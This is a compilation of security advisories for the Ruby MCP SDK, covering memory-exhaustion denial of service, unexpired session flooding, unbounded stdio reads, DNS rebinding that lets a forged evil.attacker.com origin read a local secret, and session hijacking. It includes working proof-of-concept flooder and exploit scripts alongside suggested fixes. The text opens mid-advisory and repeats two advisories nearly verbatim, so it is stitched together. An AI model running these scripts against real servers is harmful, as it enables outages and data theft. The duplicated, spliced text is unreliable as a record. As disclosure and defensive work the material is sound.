[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

